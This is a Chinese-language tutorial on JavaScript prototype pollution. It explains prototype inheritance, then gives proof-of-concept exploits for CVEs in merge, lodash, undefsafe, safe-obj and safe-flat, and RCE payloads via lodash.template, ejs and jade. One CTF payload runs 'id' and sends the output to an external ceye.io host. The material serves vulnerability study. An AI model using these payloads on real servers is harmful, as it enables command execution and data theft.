0x00 原型链与原型链继承 原型链 原型链污染(prototype pollution )是js独有的安全问题,其原因主要是因为js中几乎所有类的所有属性都可以公开访问和修改,通过修改多个可控变量去覆盖__proto__属性即可污染其它类,即如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象。
原型链污染发生的两个场景是:
在js中每个实例对象object都有个原型对象,原型对象又有对应的原型对象,以此类推可构成原型链 ,层层向上知道第一个原型对象为null。
要访问一个实例对象的原型对象,有以下方式:
1 2 3 4 5 objectname .[[prototype ]]objectname .prototype objectname ["__proto__" ]objectname .__proto__objectname .constructor.prototype 
 
在定义类构造函数的时候,有一个预定义属性prototype,他就是一个原型对象。在实例化对象的时候会生成一个属性__proto__,它所指向的便是这个对象构造函数的prototype,例如
1 2 3 4 5 6 7 8 9 10 11 12 13 function  Class1 ( ){this .var  = null  }function  Class2 ( ){this .var  = null  }Class2 .prototype   = Class1 let  obj = new  Class2 ()console .log (`${obj.__proto__} ` )
 
原型链继承 类在实例化的时候会拥有类自身prototype中的属性和方法,即object会继承其__proto__属性指向的原型对象的属性和方法,例如
1 2 3 4 5 6 7 8 9 10 11 12 13 function  Father ( ){     this .last_name  = "time"  }function  Son ( ){     this .first_name  = "spring"  }Son .prototype   = new  Father ();let  son = new  Son ();console .log (`Name:${son.first_name}  ${son.last_name} ` )
 
在输出last_name时,由于Son中没有此属性,于是到其原型对象son.__proto__,也就是Father实例中寻找,如果依然没找到,那么就继续到son.__proto__.__proto__寻找,直到找到为止,未找到返回undefined。
至此总结出几个要点:
每个构造函数(constructor)都有一个原型对象(prototype) 
对象的__proto__属性,指向类的原型对象prototype 
JavaScript使用prototype链实现继承机制 
 
0x01 原型链污染 首先是json语法的一些规则:
数据在名称/值对中 
数据由逗号分隔 
花括号容纳对象 
方括号容纳数组 
 
JSON键/值对由键和值 组成,键必须是字符串 ,值可以是字符串(string)、数值(number) 、对象(object)、数组(array)、true、false、null。
例如
1 2 3 var  object = {   'a' : [{ 'key1' : 2  }, { 'key2' : 4  }] };
 
首先看一个语句
 
如果我们能同时控制a、b、value的值,将a设置为__proto__,那么就可以给object的原型ProtoClass设置一个值为value的属性b,即使原型中没有b属性也可以添加进去,与此同时所有原型链中含有ProtoClass的对象也将增加属性b,这就是原型链污染 。
0x02 merge引发的污染 example 一个简单的例子
1 2 3 4 5 6 7 8 9 function  merge (target, source ) {     for  (let  key in  source) {         if  (key in  source && key in  target) {             merge (target[key], source[key])         } else  {             target[key] = source[key]         }     } }
 
merge函数对数组的键名进行了递归合并操作,注意target[key] = source[key],如果我们能控制键名source为__proto__,同时利用target为其赋值,就可以为source的原型对象添加属性实现污染。
1 2 3 4 5 6 7 8 9 10 11 let  o1 = {}let  o2 = JSON .parse ('{"a": 1, "__proto__": {"b": 2}}' )merge (o1, o2)console .log (o1.a , o1.b ) o3 = {}console .log (o3.b )
 
可见o3被成功污染,实际上由于o1、o2、o3原型类统一,它们都会拥有属性b。
注意如果令b等于{a: 1, "__proto__": {b: 2}},那么对b的键名进行遍历的时候就会忽略__proto__不会把它看作键名,因为__proto__被看作是原型了,所以遍历后的键名是a、b。
因此为了使__proto__被解析为键名,我们需要配合JSON.parse。
merge.recursiveMerge 漏洞编号CVE-2020-28499,poc如下,需要引入merge@2.1.0 (ver<2.1.1)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 const  merge = require ('merge' );const  payload2 = JSON .parse ('{"x": {"__proto__":{"polluted":"yes"}}}' );let  obj1 = {x : {y :1 }};console .log ("Before : "  + obj1.polluted ); merge.recursive (obj1, payload2);console .log ("After : "  + obj1.polluted );console .log ("After : "  + {}.polluted );
 
调试过程中发现调用链是recursive -> _merge -> _recursiveMerge,而_recursiveMerge中存在递归合并:
1 2 3 4 5 6 7 8 9 function  _recursiveMerge (base, extend ) {     if  (!isPlainObject (base))         return  extend;     for  (var  key in  extend)         base[key] = (isPlainObject (base[key]) && isPlainObject (extend[key])) ?             _recursiveMerge (base[key], extend[key]) :             extend[key];     return  base; }
 
值得注意的是_merge方法有一处过滤,过滤了一些关键词
1 2 if  (key === '__proto__'  || key === 'constructor'  || key === 'prototype' )    continue ;
 
但是检查的范围仅仅是key,我们再嵌套一层数组即可,也就是payload:{"x": {"__proto__":{"polluted":"yes"}}}
0x03 Lodash中的污染 lodash.defaultsDeep 漏洞编号CVE-2019-10744,需要引入lodash@4.17.11 (ver<4.17.12),poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 const  mergeFn = require ('lodash' ).defaultsDeep ;const  payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}' function  check ( ) {     mergeFn ({}, JSON .parse (payload));     if  (({})[`a0` ] === true ) {         console .log (`Vulnerable to Prototype Pollution via ${payload} ` );     }   }check ();console .log (Object .whoami );
 
lodash.merge 这里使用ver 4.17.4才好使。
与前面提到的merge相似,poc如下
1 2 3 4 5 6 7 var  lodash= require ('lodash' );var  payload = '{"__proto__":{"polluted":"yes"}}' ;var  a = {};console .log ("Before polluted: "  + a.polluted ); lodash.merge ({}, JSON .parse (payload));console .log ("After polluted: "  + a.polluted );
 
lodash.mergeWith 漏洞编号CVE-2018-16487,相比于merge增加了一个参数customizer,作用是控制合并方式,若customizer未定义则依然由merge替代,因此事实上它对我们的利用方式没有影响,poc不变
1 2 3 4 5 6 7 var  lodash= require ('lodash' );var  payload = '{"__proto__":{"polluted":"yes"}}' ;var  a = {};console .log ("Before polluted: "  + a.polluted ); lodash.merge ({}, JSON .parse (payload));console .log ("After polluted: "  + a.polluted );
 
lodash.set 修改指定path(对象属性)的value(值)
1 2 3 4 set (object, path, value)
 
注意此方法会直接改变Object。例如给多层嵌套的属性c赋值
1 2 3 4 5 6 var  lodash= require ('lodash' );var  object = { 'a' : [{ 'b' : { 'c' : 3  } }] }; lodash.set (object, 'a[0].b.c' , 4 );console .log (object.a [0 ].b .c );
 
跟一下源码,首先set调了baseSet
1 2 3 function  set (object, path, value ) {   return  object == null  ? object : baseSet (object, path, value); }
 
然后是castPath,stringToPath,最后也没有任何过滤,poc
1 2 3 4 5 6 7 8 9 10 11 12 var  lodash= require ('lodash' );var  object_1 = { 'a' : [{ 'b' : { 'c' : 3  } }] };var  object_2 = {}console .log (object_1.whoami ); lodash.set (object_2, '__proto__.["whoami"]' , 'Vulnerable' );console .log (object_1.whoami );
 
lodash.setWith 与mergeWith类似,相比于set方法多一个customizer参数控制设置对象值的方式,不传入也不影响我们的利用。
1 2 3 4 5 6 7 8 9 var  lodash= require ('lodash' );var  object_1 = { 'a' : [{ 'b' : { 'c' : 3  } }] };var  object_2 = {}console .log (object_1.whoami ); lodash.setWith (object_2, '__proto__.["whoami"]' , 'Vulnerable' );console .log (object_1.whoami );
 
lodash.zipObjectDeep 漏洞编号CVE-2020-8203,影响版本ver<4.17.16
zipObjectDeep(props, values) ,props为属性路径,values是值,两者都为数组。
源码里给出了注释
1 2 _.zipObjectDeep (['a.b[0].c' , 'a.b[1].d' ], [1 , 2 ]);  
 
将两个对象合并成了一个数组,并完成赋值,左边数组的键值与右边数组的值一一对应。
那么如果我们传入单元素数组__proto__,就可以污染原型。
1 2 3 4 5 6 7 const  _ = require ('lodash' ); _.zipObjectDeep (['__proto__.z' ],[666 ])console .log (z)
 
0x04 Lodash RCE 注意lodash ver<=4.17.4。
lodash.template   RCE Lodash.template 是 Lodash 中的一个简单的模板引擎用于输出渲染,而template方法中的sourceURL存在拼接,关键代码如下
1 2 3 4 var  result = attempt (function ( ) {   return  Function (importsKeys, sourceURL + 'return '  + source)     .apply (undefined , importsValues); });
 
如果我们能够污染sourceURL属性,将其赋值为xxx\r\n <code> \r\n就可实现命令注入,因此关键点在于原型链的污染。
注意Function中没有require方法,但我们可以使用global.process.mainModule.constructor._load来代替。
这里提供一道例题**[Code-Breaking 2018] Thejs**,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 const  fs = require ('fs' )const  express = require ('express' )const  bodyParser = require ('body-parser' )const  lodash = require ('lodash' )const  session = require ('express-session' )const  randomize = require ('randomatic' )const  app = express () app.use (bodyParser.urlencoded ({extended : true })).use (bodyParser.json ()) app.use ('/static' , express.static ('static' )) app.use (session ({     name : 'thejs.session' ,     secret : randomize ('aA0' , 16 ),     resave : false ,     saveUninitialized : false  })) app.engine ('ejs' , function  (filePath, options, callback ) {      fs.readFile (filePath, (err, content ) =>  {         if  (err) return  callback (new  Error (err))         let  compiled = lodash.template (content)         let  rendered = compiled ({...options})         return  callback (null , rendered)     }) }) app.set ('views' , './views' ) app.set ('view engine' , 'ejs' ) app.all ('/' , (req, res ) =>  {     let  data = req.session .data  || {language : [], category : []}     if  (req.method  == 'POST' ) {         data = lodash.merge (data, req.body )         req.session .data  = data     }     res.render ('index' , {         language : data.language ,         category : data.category      }) }) app.listen (3000 , () =>  console .log (`Example app listening on port 3000!` ))
 
可以看到同时使用了Lodash.template与Lodash.merge,merge方法在lodash漏洞版本内,因此我们就可以直接去污染
sourceURL实现RCE,以下是payload。
1 2 { "__proto__" : { "sourceURL" : "xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('id').toString();var req = require('http').request(`http://xxxxx.ceye.io/${result}`);req.end();\r\n" } } 
 
lodash & ejs RCE 漏洞编号CVE-2022-29078,Nodejs 的 ejs 模板引擎存在一个利用原型污染进行 RCE 的一个漏洞。但要实现 RCE,首先需要有原型链污染,这里我们暂且使用 lodash.merge 方法中的原型链污染漏洞。
漏洞成因其实和lodash.template是一样的,都是变量存在拼接,同时配合merge污染。漏洞关键代码如下
1 2 3 4 5 6 7 8 9 10 11 12      if  (opts.outputFunctionName ) {         prepended += '  var '  + opts.outputFunctionName  + ' = __append;'  + '\n' ;       }       this .source  = prepended + this .source  + appended; 	fn = new  ctor (opts.localsName  + ', escapeFn, include, rethrow' , src); 
 
很明显污染outputFunctionName即可。
测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 var  express = require ('express' );var  lodash = require ('lodash' );var  ejs = require ('ejs' );var  app = express (); app.set ('views' , __dirname); app.set ('views engine' ,'ejs' );var  malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}' ; lodash.merge ({}, JSON .parse (malicious_payload)); app.get ('/' , function  (req, res ) {     res.render  ("index.ejs" ,{         message : 'success'      }); });var  server = app.listen (8000 , function  ( ) {     var  host = server.address ().address      var  port = server.address ().port      console .log ("应用实例,访问地址为 http://%s:%s" , host, port) });
 
运行后访问触发render函数渲染,即可RCE。
lodash & jade RCE Nodejs 的 jade 模板引擎也存在一个利用原型污染进行 RCE 的一个漏洞。但要实现 RCE,首先需要有原型链污染,这里我们依然使用 lodash.merge 方法中的原型链污染漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 var  express = require ('express' );var  lodash= require ('lodash' );var  jade = require ('jade' );var  app = express (); app.set ('views' , __dirname); app.set ("view engine" , "jade" );var  malicious_payload = '{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require(\'child_process\').execSync(\'calc\'))"}}' ; lodash.merge ({}, JSON .parse (malicious_payload)); app.get ('/' , function  (req, res ) {     res.render  ("index.jade" ,{         message : 'success'      }); });var  server = app.listen (8000 , function  ( ) {     var  host = server.address ().address      var  port = server.address ().port      console .log ("应用实例,访问地址为 http://%s:%s" , host, port) });
 
0x05 Undefsafe 中的污染 Undefsafe模块是用来处理访问对象属性不存在时的报错问题,例如
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 var  a = require ("undefsafe" );var  object = {     a : {         b : {             c : 1 ,             d : [1 ,2 ,3 ],             e : 'old_value'          }     } };console .log (object.a .c .e )  console .log (a (object,'a.c.e' )) console .log (a (object,'a.b.e' ,'new_value' )) 
 
当我们使用undefsafe时,程序就不会报错而是返回undefined,如果目标属性存在,那么undefsafe就可以修改属性的值。如果该属性不存在,我们依然想赋值,那么新的属性将创建在数组中的上一层。
1 2 3 a (object,'a.c.e' ,'new_value' )console .log (object)
 
漏洞编号CVE-2019-10795,ver < 2.0.3,poc如下
1 2 3 4 5 var  a = require ("undefsafe" );var  test = {}a (test,'__proto__.toString' ,function ( ){ return  'just a evil!' })console .log ('this is ' +test)   
 
利用undefsafe对原型对象中的toString方法进行污染,再通过console.log触发,造成任意代码执行。
可见原型链污染不仅可以修改属性,也可以直接修改方法
1 2 3 4 5 var  a = require ("undefsafe" );var  test = {}a (test,'__proto__.toString' ,function ( ){ return  global .process .mainModule .require ('child_process' ).execSync ('id' ).toString ()})console .log ('this is ' +test)
 
0x06 safe-obj中的污染 lodash & safe-obj 漏洞编号CVE-2021-25928,safe-obj_ver_1.0.0~1.0.2,关键点在expand方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 expand : function  (obj, path, thing ) {   if  (!path || typeof  thing === 'undefined' ) {     return ;   }   obj = isObject (obj) && obj !== null  ? obj : {};   var  props = path.split ('.' );    if  (props.length  === 1 ) {       obj[props.shift ()] = thing;    } else  {     var  prop = props.shift ();      if  (!(prop in  obj)) {       obj[prop] = {};     }     _safe.expand (obj[prop], props.join ('.' ), thing);   } },
 
poc如下
1 2 3 4 5 6 7 var  safeObj = require ("safe-obj" );var  obj = {};console .log ("Before : "  + {}.polluted ); safeObj.expand (obj, '__proto__.polluted' , 'Yes! Its Polluted' );console .log ("After : "  + {}.polluted );
 
lodash & safe-flat 漏洞编号CVE-2021-25927,safe-flat_ver_2.0.0~2.0.1,关键在于unflatten
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 const  unflatten  = (obj, delimiter ) => {   const  result = {}   const  seperator = delimiter || defaultDelimiter   if  (typeof  obj !== 'object'  || isDate (obj)) return  obj   const  unflat  = (original ) => {     Object .keys (original).forEach ((key ) =>  {       const  newKeys = key.split (seperator)       newKeys.reduce ((o, k, i ) =>  {         return  o[k] || (o[k] = isNaN (Number (newKeys[i + 1 ])) ? (newKeys.length  - 1  === i ? original[key] : {}) : [])       }, result)     })   }   unflat (obj)   return  result }
 
通读代码可以发现实际上unflatten就是指定seperator对obj进行分割并组成新的键值对最后赋值,利用起来也很方便
1 2 3 4 5 6 var  safeFlat = require ("safe-flat" );console .log ("Before : "  + {}.polluted ); safeFlat.unflatten ({"__proto__.polluted" : "Yes! Its Polluted" }, '.' );console .log ("After : "  + {}.polluted );
 
ref 关于Prototype Pollution Attack的二三事 - 先知社区 (aliyun.com) 
https://xz.aliyun.com/t/7184 
从 Lodash 原型链污染到模板 RCE-安全客 - 安全资讯平台 (anquanke.com)